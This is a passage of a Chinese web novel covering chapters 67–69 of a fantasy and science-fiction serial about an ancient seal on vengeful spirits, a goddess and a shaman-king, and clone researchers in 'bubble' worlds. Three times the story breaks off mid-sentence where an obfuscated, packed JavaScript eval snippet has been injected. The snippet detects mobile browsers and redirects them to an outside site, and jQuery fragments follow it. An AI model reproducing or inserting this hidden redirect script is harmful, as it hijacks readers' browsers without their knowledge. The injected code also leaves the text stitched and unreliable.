三人摔得狼狈,好在性命无虞。乔步天火冒三丈从地上爬起来,“你可别添乱了。” 远处兵戈相交,山海与花方缠斗不休。李开心忽然撩起裤腿,一把将膝关节掀开,从小腿中抽出一把长刀,挥刀加入战局。 言笑没料到李开心还有这么一手,目瞪口呆。 山海以一敌二,逐渐落败,举剑挡住刀剑齐攻,忽然抬眼大喊,“别打了!他们身后有东西!” 花方杀招丝毫未收,手中剑芒暴涨,在空中留下冷冽弧光,“你觉得这瞎话我会信?” 言笑与乔步天齐齐回头。言笑打了个寒噤,问乔步天,“这里会有鬼吗?” 两人背后空无一物。乔步天笃定道:“老二在这儿待了六十多年,现在就是个半仙。真有鬼他早察觉了。” 这话很有道理。言笑放下心来,又与乔步天双双转回了头。然而刚回过头,乔步天身体瞬间僵直,木讷垂眼看去,一截剑刃自身后穿腹而出。 “不要!”山海用力击开两道寒光,凄喊变调。 其中一副棺椁不知何时竟打开了,黑衣男子长身立于乔步天身后,手中那柄泛着青光的巫族之剑已没至柄,却不见有血流出。忽地一股模糊白烟自乔步天身上冒出,像是全身刚拍过灰一样,等那白烟飘出一点距离,其中渐渐多了些萤火似的闪光。 言笑像被钉住了脚,一步也腾挪不得——不是不能,是不敢。接近两米的高大身躯,兜帽,斗篷,祭祀铜像般刀剑凿刻而出的脸。这是壁画中巫族的最后一位首领。 手执长剑、骑虎伏魔的神巫。 “老三!”花方脸色遽变,大步奔了过来。 神巫干脆利落抽回长剑,身法快到言笑几乎难以以肉眼捕捉。玄色衣袍转瞬消失在石室之外,花方将倒下的乔步天接了个正着。 萤火忽闪着向山海飞去,光芒消散如雪花消融,等到终于落在山海指尖,只余最后几粒摇摇欲坠的微光。李开心也跑过来看乔步天,边跑边解衣服,手指伸进胸腔,抓出一把手术器械。 花方脸色惨白,就跟中剑的是他一样,颤抖着手往乔步天腹部一摸,满手是血。李开心将器械丁零当啷往地上一扔,迅速解开乔步天衣襟,沉声安慰花方,“别担心,这剑没刺中要害。” 言笑紧绷的神经这才稍微放松了些。李开心说没事就是没事,乔老三那么烦人就让他多疼会儿吧,别死就行。只是对于李开心这令人惊艳的操作,言笑依然舌挢不下,“你身体里都揣着些什么东西?设计你的人是想拿你干什么用啊?” 李开心飞速答她,手上动作没停,“从前不是这样的。这是前段时间重做躯体,我自己加进去的,想着万一用得上呢。”说着,从一个极窄的小盒子里取出一根软管,“手术需要备血。” 言笑一愣,“那怎么办?你能验血型吗?” “不用验。”李开心自软管里捏出一根针来,“在场只有你和他血型一样。” 言笑咬牙,瞄瞄不省人事的乔步天,撸起袖子,将手臂伸给李开心,“行吧。赶紧赶紧。” “等等!”花方忽道。“他的伤口……” 李开心垂眼看去,明显愣住,又伸出手指在乔步天伤口处轻轻一抹,拿着软管的手停在半空。 乔步天的伤口在愈合。 “以术法治愈伤口,只有传说中的巫族能做到。”花方低声道:“神巫没想要他的命。” 最后几粒萤火消散在山海周围,山海失魂落魄瘫坐在地。然而言笑、花方与李开心都没打算理她,只围坐在乔步天身边等他醒来。李开心递给花方一张敷贴,花方心不在焉地摇头,不要。言笑接了过来,绕到花方左边,“伤口总要处理一下,感染怎么办?你别动,我给你弄。” 花方伤在左肩,现下右肩正被昏睡的乔步天占着。言笑费劲地把花方的左肩剥出来,贴上敷贴,来自23世纪的生物微粒能够迅速填补破损皮肉,皮外伤可在48小时之内愈合。言笑又帮花方将衣服穿好,分神看着李开心把手术器械一样一样装回身体,最后把长刀也装了回去,闷声嘀咕,“那神巫捅老三一下,图什么呢?” 花方揽住乔步天,让昏睡中的乔步天靠着他肩膀。“淮南的魂魄寄居在老三身上,而淮南是那把剑最后一位主人,他需要杀了淮南,让剑重新对他认主。” 当年山海重织淮南魂魄,好不容易得了虎骨,却被花方误打误撞捷足先登,功败垂成。彼时淮南的魂魄已经重聚了□□成,攀附于虎骨之上,哪想花方的血浸染虎骨,竟将乔步天先召了回来。花方挑起眼皮,冷冷看向山海,“你算我半个师姐,我不该指责你。但你真是昏了头了。为救你想救的人,你就要以杀死别人为代价吗?” 山海的眼神空洞茫然。萤火如雪般消融,那雪就落进眼底。“如果活过来的是淮南,只有杀了淮南才能救回乔步天,你会怎么做?” 都不用花方说话,言笑就想骂她。言笑噌地站起身来,挽起袖子,“什么事都得反扣别人头上,你好占领道德高地呗?退一万步说,人俩还是从小一起长大的,你呢?为了一个没认识几天的人,把从小学的道理都吃狗肚子里去了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231878|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李开心手掌撑地,也站起来,“生气伤身。走,去看看那边的壁画。” 言笑狠狠剜了山海一眼,跟李开心走了。与曾经山海与淮南所见的壁画不同,此时显现的壁画又是另外一幅光景。青白接驳,如同颜料胡乱搅动,洪水,火灾,两边的小人密密麻麻混在一处,神祇相继陨落,白色半边最后只余一位神女。 小人头顶画着刀枪剑戟,斧钺钩叉,言笑打量着两色小人“跳舞”一般活跃在山谷之中,像随手从天撒下两把不同颜色的豆子,狐疑道:“所以这是……” 李开心接过话,“战争。” 巫族试图统治世界,神女以及仙门修士奋力抵挡。下一幅图,神女与神巫的衣带系在一处,两人倒下,掩于尘土。青色小人中间画着许多祭祀符号,比白色小人高出将近一倍,白色一边步步后退,青色占据大半原本属于白色的部分。 “这个意思还是挺好猜的,”言笑边看边分析,“青色的小人更高,青色地盘也越来越大,所以这代表巫族的力量比神族要强——不对,这么说不准确。真正的巫族和神族都已经死光了,所以巫族那边的小人是……巫族百姓?是不是可以这么说?” “巫族那边有祭祀符号,可能代表他们仍有巫术传承。但神族这边的小人,”李开心说着,指指小人头顶的几道线段,“光芒与真正的神族差之千里。大概仙门始祖打不过巫族。” 言笑嫌弃地瞥向山海,“仙门也太菜了。” 继续向右再看,图画中央出现一位高大女子,手中拿着利器,巫族小人只到她大腿高度。女子站在仙巫交界之处,身躯也被分成阴阳两边,左边青色右边白色,面目也是半悲半喜。 言笑说不准这女子身份,只得先越过这幅图去。画中女子俯身,以手中利器在地上划了一道长长的线,从此青色与白□□限分明,再无混沌。 “所以这是……”看不出来就编,言笑信口胡诌,说书一样,“出来了个和稀泥的,当和事佬,王母娘娘一样拿个簪子在地上划了一条银河,从此两方相安无事?” 李开心提醒她,“再往下看。” 言笑瞄了一眼,不说话了。 青色小人被框在方框之中,显然无法出去。祭祀符号岩浆似的从青色小人头顶喷涌,小人或站或跳,难得有些能看出五官的,皆是满面嗔怒。 言笑回头问花方,“神族与巫族相争,这大概是什么时候的事?” 花方此前不发一语,但也一直随言笑与李开心同看壁画。“数千年总有了,万年也说不定。” “那……”言笑迟疑,“巫族的人能活这么久吗?” “当然不能。”花方平静道:“囚于一隅而不得出,那边大抵早已怨气冲天。” 突然两声咳嗽,乔步天在喘息之中猛然睁眼。花方不复冷淡,立刻紧张起来,“老三,你怎么样?” 乔步天摇摇头,示意自己没事,勉强坐直身子,不再倚靠花方肩膀,“我刚才能听见你们讲话,但是醒不过来。所以,”环视四周壁画,面色凝重,“这个石窟到底是什么地方?” “这里是巫族囹圄的边界。”山海缓缓起身,持剑指向高大女子划出的那道“银河”,“那条线的两边,各有一个盒子。” 壁画主要用于记载,细节可能会被简化,但大抵不会出现无用意象。 那不是盒子。 是棺椁。 话音方止,地面忽然剧烈震颤起来!石窟当中隆隆作响,远处似有巨石不断掉落。地上出现一道清晰分界,神巫棺椁一边霎时暗淡,泛起青碧幽光。狂风自地面而起,包裹着无数扭曲幻影,撕扯与嗥叫声中,影影绰绰能辨认出丑陋可怖的嘴与眼睛。 神巫既已苏醒,这道封印怕是就要破了! 67. 竹林传说09 山海脸色顿变,当即拔剑上前,剑身铮鸣,霎时爆出灼人双目的雪亮锋芒。撞击结界的嘭嘭声响被这剑芒短暂压制些许,然而青光很快卷土重来,变本加厉向结界反复重击。密语、尖叫与猖狂大笑,被结界阻隔的声音突然变得极为清晰,核弹一样强悍冲击耳膜。倏然另外一道暗红剑芒席卷而过,言笑被晃了眼睛,下意识往李开心身后躲。 是花方。 花方亦拔出佩剑,站在山海身边,与她一同抵御。李开心手臂向后,拢着言笑,言笑心焦不已,抓着李开心的衣服探头问乔步天,“现在怎么办?这儿是不是离通天神教的地盘不远?过去搬救兵来不来得及?” “怎么不远?少说一二百里。”乔步天心烦意乱,目光始终粘在花方身上。在场只有山海与花方有修为,余下三人有心无力,帮不上忙;可若把有修为的留在这里抵御巫族怨魂,又与让他们在这里等死无异。 红白两色剑芒被青光步步逼退,花方死咬着牙,剑锋一转,硬是将青光又逼回寸余。山海呼吸紧绷,“我们这样坚持不了太久。” “废话。坚持不了也要坚持。”花方背对三人,沉声命令,“你们三个,快走!” 没人应声。 山海手腕用力,又一道灵流直冲青光而去。“我们试试把这个封印加固。” “别扯了。”花方从牙缝里咬字,“上古封印,就凭我们两个?” 山海急迫道:“用我来加固!” “……什么?” “我身上有巫族的术法。我不知道是怎么来的,但这些年我大概学会了怎么用。”山海明显已在勉力支撑,额头青筋爆出,冷汗涔涔。“巫族术法的本质是献祭与交换,我以肉身献祭,借由灵器封印——也就是我们两个的佩剑——或许还有一线希望。” “我们现在还没到那程度。” “等封印真被冲破,再想补就来不及了!” 青光蔓延,风声呼啸,怨灵尖笑着将结界撞击变形,一张张扭曲的鬼脸逐渐清晰。遽然红白剑芒失守,青光暴涨,李开心双臂挡在言笑与乔步天身前,带着二人快速倒退。 眼看红白剑芒将被逼退至石室边界,另一棺椁陡然炸开,刹那犹如天崩地裂,就连花方与山海都不由抬起袖子挡眼。强光之中是一个白衣身影,长发被烈烈疾风卷起,法杖重击青光,呼嗥怨灵刹那声势全无。 言笑一愣,随即欢呼起来,“神女!” 壁画当中神女与神巫衣带相扣,同被掩埋,想来两人之间定有什么连结,或许是神女压制了神巫。如今神巫醒来,神女必然随之苏醒。 青光逐渐消退,石室不再半阴半阳,神女收回法杖,透明结界中只余数个青色光团蠢蠢欲动。 “这里交给你们,我去找神巫算算账,这么多年过去,他的心还是静不下来。” “我说这位大神,”花方长长舒了口气,疲惫抹掉额上汗珠,“你能把这封印重封一遍吗?我怕对面那些玩意又钻出来。” 神女睫毛一垂,似乎有些愧疚,“当年分隔两界,几乎已经耗尽我的所有神力,如果现在由我重封封印,我就无法再与神巫抗衡。这封印没那么容易破,巫族怨灵一时半刻应该出不来,以防万一,你们还是在这里守着吧。” 神女离开。言笑愁眉苦脸按太阳穴,“我的天。这种世界观简直让人眼前一黑。在绝对力量面前咱们都是NPC,这还玩什么玩?” 山海显然没有听懂言笑的话,可也没问,只忧心忡忡道:“从壁画来看,神巫早在千万年前就有一统天下之心,如果神巫卷土重来,百姓必遭祸殃。” 乔步天过去扶花方,“他自己一个人,总不能暴力压制全世界吧?现在要么他去收服通天神教,让教徒为他所用;要么去找壁画上那个一边黑一边白的,叫她解除封印。或许就像神女说的,那些乱七八糟的东西只是看着霸道,实际上很难出来,但凡神巫真能把封印破开,他就自己上了。” 这话说到点子上了。 通天神教买不买神巫的账不好说,封印他是肯定会想办法解开的。言笑满心憧憬地开口,“……或许王母娘娘早就死了?神族巫族都会死,她凭什么不死?要是她死了,封印是不是就解不开了?又或者她还活着,她能封一次就能再封第二次?” 片刻安静。这些问题没人能够回答。 山海一幅幅仔细观察壁画,渐渐走到石室角落。方才她距离太远,大多在听言笑推断,很多细节并没看清。当走到最后一幅壁画跟前,山海蓦然眼前一亮,“我知道这个人在哪儿!” 壁画当中,半青半白的女子五心朝天,衣襟别着一朵小花,双目微阖,似在打坐,面目却比之前模糊许多,如同糊了一层泥巴。 山海拔脚就走。四人见状,连忙跟上。山海又回过头,指挥花方道:“你留下。万一封印再出问题,需得你来压制。” 乔步天刚受过伤,现在还走不稳,于是花方与乔步天留在原地,言笑和李开心跟随山海离开。出了石窟,山海挥出佩剑,带两人御剑而行。耳边风声阵阵,瞬息已过数里,约莫又过半炷香工夫,下方一声呼喝响彻山间,“来者何人!” “凌霜门,山海!” 即使两方战事在即,山海如此主动送上门来,通天神教也一时奈何她不得,否则就是胜之不武。时任教主本在花厅喝茶,听说山海突然造访,一口茶险些从鼻子里喷出来,放下茶杯胡乱抹脸,做个镇定模样,出门问山海有何指教。 对方身份摆在那里,冷眼相待不合适。 “竹林中有一处上古封印,”山海拔剑,唰唰在地上划出线路,“里面封印着千万年前的巫族怨灵。如今封印很有可能会被冲破,你们最好派人过去加固封印。” 教主半信半疑,却也没多问,叫来护法,低声吩咐,“带人过去看看。” “这不是两三个人就能完成的。”山海道:“少说也要百人,还得是修为极高者。” “不是,你大老远过来就为这个?那你怎么不从你家带人?” “事发突然。” 教主暗自咬了半晌后槽牙,末了垮着个脸大手一挥,“行行行,多带点人。还有别的事吗?” 山海不再言语,转身离开。教主刚回去喝了口茶,就听远处喧闹起来,有人大喊着朝花厅跑来,边跑边喊。 “教主!凌霜门掌门把把把把咱们祠堂的泥像给砸啦!” 啪嗒一声。茶杯落地。 泥封既破,被封在泥像中的女人缓缓睁开双目,硬壳似的泥块哗啦哗啦掉落下来,衣襟上的芙蓉花竟仍奇异地盛开着。教主火急火燎一路疯跑,奔到祠堂门口呆怔片刻,突然“扑通”一声利索跪下,周围教众也噼里啪啦跪倒一片。 “通天老祖!” 通天老祖拍拍身上泥土,云山雾罩直冒烟儿,站起身来,轻拂了拂衣襟上芙蓉花的花瓣。 言笑白白受了通天神教这许多跪,心里颇为得意,想着可算有人能制住这帮唯恐天下不乱的山匪,叉腰告状,“通天老祖你是不知道,你这些徒子徒孙趁你睡着,天天给人下战帖,不打赢仙门百家不爽心啊。” 教主大惊失色,哆嗦着指言笑的鼻子,奈何在通天老祖面前软了膝盖,故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231879|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而只能跪着指她。“哪来的黄毛丫头!含血喷人!” “真的!”言笑一本正经,煞有介事,“从好几百年前一直打到现在,永远能找着理由。像什么‘前任教主的儿子被他们杀啦’之类的,废话要不是他们先打架,会死人吗?” “嗯?”通天老祖身高直逼神巫,李开心站在旁边都赢不了她去,略一敛眸便不怒自威,周围通天教众更是大气都不敢喘。“是吗? “当年为了阻止巫族杀伐,神女分隔两界,又与神巫连结,陷入沉睡以换得神巫沉寂。本座为封印巫族,耗尽修为重病百年,只好以泥塑之身入定将养。可万没想到,通天神教好的不学,竟将巫族那些下作勾当学了去!” 整个祠堂鸦雀无声。连言笑都被通天老祖的声势震慑,头皮发麻。 山海上前执了个礼,大致对通天老祖讲了石窟封印被破一事,末了问她,有没有办法让巫族那边的世界消失。 言笑头皮又是一麻。山海看着循规蹈矩,实际心思不是一般的野,这话要是换成她说,言笑至多问能不能把那封印加固,山海倒好,直接要把对面一锅端了。不过山海这才算是正确思路,要是通天老祖来了也不过加固封印,那岂不是把通天老祖拉低到与他们凡夫俗子一个水平? 通天老祖喟叹,“天原本十六万里,神女以毕生神力使天一分为二,浊气下沉,两个世界重叠而生。巫族那方空间并不是神女凭空造出来的,又怎能让它消失?” “教主,教主!不好啦!”远处突然传来惊慌呼喊。 教主一惊,“瞎喊什么!老子好着呢……别喊别喊!老祖在此,莫要冲撞老祖!” 来人气喘吁吁,满头冒汗,见教主跪着,当即也滑跪在地,“有两个人在石窟那儿打起来了!”拿手往头顶比划一下,“这——么高,修为太强了,叭叭叭叭周围全炸了,这还是人吗?” 言笑指指通天老祖,“是不是和她差不多高?” 来人压根没看明白大家为什么跪,反正都跪着,他就也跪了。再仰头看看通天老祖,登时瞠目结舌,也不知是跑岔了气还是吓的,一翻眼珠昏了过去。 众人连忙折返回石窟,数十里外便见两道被强烈灵流包裹的人影从天上打到地下,飞沙走石,风云变色。法杖带着强悍灵力落地,周围绿竹尽皆折断,光影摇晃之中,通天老祖飞身跃去,以手臂挡住神巫刺向神女一剑,“当”的一声巨响过后,三人各退出数丈距离。 言笑这才把蹦出来的心又从嗓子眼儿塞了回去。还以为通天老祖赤手空拳就要收拾神巫,敢情她袖里藏着一把长匕。 神巫冷道:“是你困住了巫族?那道封印定是借由灵器所封,只要捣毁灵器,就能再让两个世界合二为一。告诉本座你的灵器在哪里,本座可以饶你一命。” 言笑拽拽李开心,小声八卦,“你说他怎么认出来的?通天老祖和画像长得也不像啊。” 李开心俯身,贴在言笑耳边回答,“那把匕首。壁画里通天老祖就是用匕首划了一道线。” 言笑琢磨李开心这俩基因定制的眼珠子是好用啊,隔那么老远都能看清,但随后立刻倒吸一口冷气,心脏活蹦乱跳地再次蹿出嗓子眼儿:神巫这岂不是很容易就能猜出来,通天老祖封印巫族用的是这把匕首? 通天老祖收了招式,“当时我确实想用灵器,但这术法的力量超出了我的预期。灵器是死的,承载不住,所以我需要比灵器更加强大的东西——拥有强悍灵力,并且永远不会被巫族怨灵冲破。” 神巫脸色一变,半晌,咬牙问道:“你用本座……承载了这个咒术?” 68. 竹林传说10 言笑在心里拍案叫绝。 妙啊!通天老祖真是人才,竟能想出这么个损招。 神巫若想统治世界,就得放出自己的一众喽啰,而要放出那些小鬼,他得先自己去死——怎么选都是死局,对付这种人就得以恶制恶。 通天老祖望着神巫,突然对他笑了笑。言笑让她笑得发晕——哪怕不算沉睡时间,通天老祖少说也有百来岁了,可这般嘴角一弯笑得春风化雨,又实在像个娇俏少女。 这就好像谁能相信花方这个玉树临风的老妖怪已经一百多岁了? 神巫也笑,阴恻恻打量着对方二人,缓缓抬手,在右颊重重划出一道伤口。那伤边绽开边愈合,只淌下了几滴血珠,神女脸上却鲜血横流,同样的伤口自上而下翻卷展露。 神巫轻蔑道:“威胁本座?” 当年神女无法战胜神巫,只能将自己与神巫连结,既能一起沉睡,也能同伤同死。言笑倒吸凉气,感觉脸也跟着疼起来,“这怎么办?感觉神巫是要伤敌一千自损一千五啊。” 李开心宽慰她道:“没事。怨灵若是真冲出来,大不了咱们跑远一点。” 言笑扭头瞪他,“这么看得开?剧情线要是走不对,难道咱们要在这儿待一辈子?” “既然花方留在这里,就说明这里适宜生存。” “……花方留在这里是因为这里适宜生存吗?” 神巫眯起眼睛,仔细打量通天老祖手中的长匕,长剑一挥遽然暴起,身法诡异迅疾。通天老祖当即使出长匕抵挡,然而对方长剑却突然转了方向,通天老祖躲闪不及,被神巫轻易挑起武器。 长匕落下,神巫准确挥手接住。通天老祖与神女脸色立变。 “这把匕首,当我……”神巫喃喃,拇指搓磨在匕柄的繁复银饰上,“匕首里有什么?” 言笑也察觉不妙。刚才那一架打得轰轰烈烈,但也不过打架而已,如今通天老祖与神女明显神色惊惶,难道—— 想到之前在石窟里看过的戏,言笑登时猛掐大腿! 我去! 然而言笑根本来不及思考应该如何应对,神巫已经将长匕对着自己心口刺了下去。言笑拿不准神巫这一举动的目的,也或许他只是想摆神女一道,让她受受折磨,解开两人之间的连结。就在匕首刺下的瞬间,倏忽一阵青碧幽光自神巫身上荡开,强悍灵力有如江河轰然决堤,在场众人稀里哗啦摔倒一片。 “不要!” 通天老祖与神女同声惊叫,逆着灵流向神巫奔去,通天老祖伸手握住匕首,鲜血霎时顺着手指流淌下来。那伤口不算深,神巫却仿佛被匕首钉在原地,动弹不得,只怔怔盯着面前两位女子。 灵流之中倏然涌动无数画面,记忆闪回。言笑快被这灵流捶吐了,但八卦之心就是肾上腺素,言笑躲在李开心身后看那零碎的古老回忆,消融在万年光阴里的吉光片羽。 当远古神族一一应劫,神女成为天地间唯一的神族血脉,神巫护她不被巫族欺凌,两人情愫渐生。后来两人有了一个女儿,幼小婴孩却孱弱非常,或许因为异族血脉难以相融,婴儿注定短命。就在婴儿濒死之际,神巫借由匕首施展禁术,救回女儿,但也因此心神受损。 言笑看完八卦,心绪如潮翻涌。倒不是感慨这段跨种族爱情或者同情历尽坎坷的一家三口,连续剧看多了什么没见过,而是言笑想到,如果泡泡都由研究员的意识生成,空穴才能来风,这个泡泡中的故事到底在暗示什么? 淮南失忆,折了一条命才把记忆换回来,看来神巫的结局亦会如此。 那么现实世界中被泡泡暗示失忆的研究员是谁?是她吗? 竹林深处,月色里的清越笛声,编花风铃,绣着芙蓉花的婴儿包被。神巫勉强屈起僵硬的手指,掰开通天老祖被匕首割伤的手。 “芙蓉儿……” 叫出通天老祖乳名的瞬间,一口鲜血自神巫喉间咳出,匕首捅得更深,随即团团模糊青光乍然在神巫周围挣动起来。 “不好!”山海撑着佩剑勉强起身,“封印要破了!” 神巫身边皆是巫族怨灵鼓噪。封印与神巫共存,神巫重伤,恰好给了怨灵可乘之机。 言笑急得直薅头发,“现在上哪儿去找个东西替他啊!神巫死了,那神女也得死……神女!神女!”言笑突然反应过来,“你快把你和神巫之间的连结断开啊!这样神巫挂了你还能顶上!” 只是这话说得太迟。神女已然无声与神巫倒在一起,白衣与神巫的玄色长袍融于一处。 通天老祖拿手背蹭了蹭脸,满手血滴如泪蜿蜒,“这连结是断不开的。” 山海喊道:“把封印挪到我身上!” “哎不是,这能行吗?”言笑觉得山海简直异想天开,“他是上古巫族,你就一个肉体凡胎,到时候你承载不住咒术,不是白白把命搭进去吗?” “即使活人承载不住,死人也一定可以!虽然我是肉体凡胎,但我有仙人骨。” 言笑仍对此持怀疑态度,“这靠谱吗?如果死了之后封印也起作用,那神巫身上的封印怎么会变成这样?” “寻常匕首伤不了神巫,那匕首是难得的灵器,这样一截刀刃附着术法捅下去,会伤了他的仙骨。” 言笑心里盘算,如果山海的逻辑成立,且这封印只有通天老祖能封,那通天老祖就不能自己来当这个封印,在场众人哪怕都论一遍,应该也挑不出比山海修为更高的了。 “你一个女人,这种事情轮不到你!”歪在地上的通天神教教主挣扎着爬起来,“你你你你往后站,我来!” 服了。言笑一看见他就脑仁疼。“这和男女有关系吗?好事啊一个个在那儿抢?你修为行不行啊你?” “我年龄比她大,修为当然比她强!” “这和年龄也没关系啊!看你长相那么显老,你是不是没好好修行?” 重封封印迫在眉睫,通天老祖起身过来,在山海与教主脑门上各摸一下,对教主道:“万一封印封不住,你负责带领教众击杀怨灵。你们人多,或许还有一线希望。” 山海跟随通天老祖来到气息奄奄的神巫身边。教主茫然摸头,半晌,后知后觉竖起眉毛,拔高语调大喝,“哎,哎话可得说明白,这话什么意思呀?” 言笑心里惦记花方和乔步天,也不知道石窟之中情势如何,想来外面更危险些,还是别将他们二人引出来罢。再看神巫,虽然尚余一丝气息,但殒身不过弹指之间,不解问李开心道:“至于吗,你说至于吗?伤了仙骨也不代表就会没命,他怎么给我感觉就像受刺激了,然后被刺激死了?” 李开心淡道:“记忆太过沉重,忘记的都是难以承受的。” 言笑心里嘀咕,这有什么难以承受的?好奇心却倏然蠢动,不禁分外渴迫知道自己的原身究竟经历过什么。虽然言笑总被不属于她的零碎记忆侵扰,可她心里再明白不过,经历过这些的都是与她完全不同的另外一人,哪怕她想起再多也如剧院观戏、隔岸观火。 说记忆沉重,又能有多沉重? 通天老祖举起匕首,悬浮于山海头顶画了个印。那印初时只有一点幽微的白,后来愈发明亮,言笑站得远,在那光中几乎看不清山海的眼睛。 “你们,站在我身后。”通天老祖吩咐通天神教诸人。方才听说有热闹看,通天神教当即浩浩荡荡跟来数百人,后来过来看热闹的越聚越多,现在已有千人不止。“如果封印被击穿,怨灵释放出来,你们务必击杀怨灵,一个不留。” 教主拔出佩剑,跃跃欲试,“您放心!来吧!” 身后千人亦亮出兵刃,严阵以待。 掌心鲜血一滴一滴落在山海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239961|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的额头上。随着通天老祖手掌抬起,神巫四周鼓动的青光逐渐咆哮着消失,俄而,青光重新出现在山海周围,横冲直撞,张狂尖啸。 教主顿时冒出一身冷汗,“她这也不行啊!” 通天老祖仍保持姿势,纹丝不动,“不行也得行。” 言笑心说这哪是不行也得行,分明是不死也得死。咒术施展过半,再无回头之可能,教主说不行,是看出山海必然保不住命,而通天老祖的意思,分明是要利用山海的仙人骨。 通天老祖对山海道:“我要放手了。” 山海在炽烈白光中轻轻点了点头。 所有故事始于竹林又终于竹林。瘴气,虎啸,汤药苦涩,连月湿雨。新茶,旧酒,山色朦胧,云销雨霁。 好在当一切终结,总算死得其所。半生执迷半生糊涂,也曾剑走偏锋道义罔顾,山海再次见到那场大雨,她拿起榻上佩剑走入雨中。雨会冲走所有脚印、马蹄、落花为泥、过客驻足的痕迹。一切都不作数。一切都来得及。 通天老祖收了手上灵力。山海头顶的白光逐渐微弱,然而猖獗青光亦偃旗息鼓,仿佛与白光一同被吸纳进入山海体内。 天地之间一片寂静。在场千余人大气都不敢出。 教主左顾右盼,又盯着山海猛瞧,许久,结巴着问,“这这这,这就行了?成功了?” 山海也没想到自己能留下一命,难以置信地伸手摸摸额头。通天老祖的血早已无迹可寻,连那封印也隐秘得仿佛从未存在。 通天老祖终于露出一丝疲惫笑意,点了点头。 通天神教诸人登时高呼起来,欢欣雀跃。言笑也没想到山海还会有命在,兴奋道:“厉害了!这就是主角光环吗!” 然而没等李开心回答,一道青光乍然劈破山海额间,无数怨灵争先恐后轰然奔涌出来,如同漫天炸开青黑烟花。言笑呆了呆,拽起李开心的衣袖撒腿就跑。 身后教众尖声叫喊,“封印击穿了!怨,怨灵都出来啦!” 言笑才不管那些七七八八,保住自己和李开心的命最重要,再说他们两个23世纪的弱鸡人类,和开挂的仙妖神魔明显不在一个赛道,现在的当务之急是回石窟叫上花方和乔步天,击杀怨灵的任务就交给泡泡小人吧。教主声嘶力竭,“通天神教众人听令!务必把这帮孙子都宰在竹林里,不能让它们跑出去——哎呦!” 跑归跑,言笑实在心痒难耐想看热闹,匆忙回头瞧瞧,竟见通天神教那帮山匪各个使出灵器全力抵抗,哪怕青筋毕露双眼暴突也不放手,匪气之中倒也显出几分英勇侠气。但其中也有几个害群之马,明显与其他人是反着跑的,言笑定睛一看,卧槽里头怎么还有熟人? 鬼鬼祟祟的蒙面少年大步狂奔头也不回,放在漫画里能在身后跑出一道烟来。 言笑懒得管他,一路疯跑,大呼小叫,“二哥,二哥!通天神教的,你们教主在外面打小鬼呢,你们快去救你们教主啊!” 神巫重伤濒死,石窟内的怨灵攻势一落千丈,通天神教众人已经在此唠起了嗑,丝毫不知石窟之外地覆天翻。教众被言笑这么一嚷,抄着家伙蜂拥冲了出去,花方与乔步天距离通天老祖画的那道界限最近,因此跑在最后。 四人在石室入口撞个满怀。言笑刚叫一声二哥,花方就扳着她的肩膀逼她转身向后,乔步天狠推了李开心肩膀一把,刻意阻挡李开心再往前走。 然而已经来不及了。 李开心伸手握住言笑臂弯,言笑被迫停住脚步,再回头看这三人神色古怪,言笑这才后知后觉。 石室中的两副棺椁变作两颗半透明的金骰子,骰子疯狂滚动,没有示数,半透明的金光里隐约能看到实验室展示柜的轮廓。 这里是泡泡的出口。 根据李开心遵照的命令,他必须带言笑离开。 69. 竹林传说11 一时四人都没出声。言笑迟疑半天,支支吾吾开口,“这,那,我们现在必须要走,是吗?” 李开心直视言笑双眼,答得冷静从容,“是。” 言笑背后突然窜起一股寒气。如果杀她是李开心不得不遵守的命令,那么当她迈过出口,或许李开心便会紧随在后,伸手抓出她的心脏—— 然后把带血的、跳动的心脏扔在地上,跨过她死不瞑目的尸体。 言笑艰难地咽咽口水,忐忑抓着花方的手臂小声叫他,“二哥……” 花方将言笑推到身后,抬手拔剑。剑上暗红灵流嘶嘶作响,花方与乔步天一同挡在言笑身前。“带她出去之后,你会对她不利吗?” 李开心口吻中带着一种冷漠的坦然,“根据当局指示,是这样的。” 长剑倾斜,在石壁上反出一道寒光。“既然如此,我只能销毁你了。” “不必。”李开心越过花方凝视言笑,“不需要你动手。 “六十多年前当局发现,当克隆大脑进入泡泡,会有一定概率因为这里的能量场刺激而恢复部分原身记忆。所以在那之后,当局源源不断将克隆研究员送入泡泡之中。如果在经历五个泡泡后,克隆研究员恢复的记忆没有达到一定标准,就会由我销毁这位克隆研究员,然后再带新的研究员继续探索泡泡宇宙。 “言笑,这是你的第五个泡泡。” 言笑拿不准这个“一定标准”的记忆是如何测量的,倘若不够,要被李开心崩脑壳,倘若够了,要给联盟当实验动物,无论哪个结果都很凄惨。 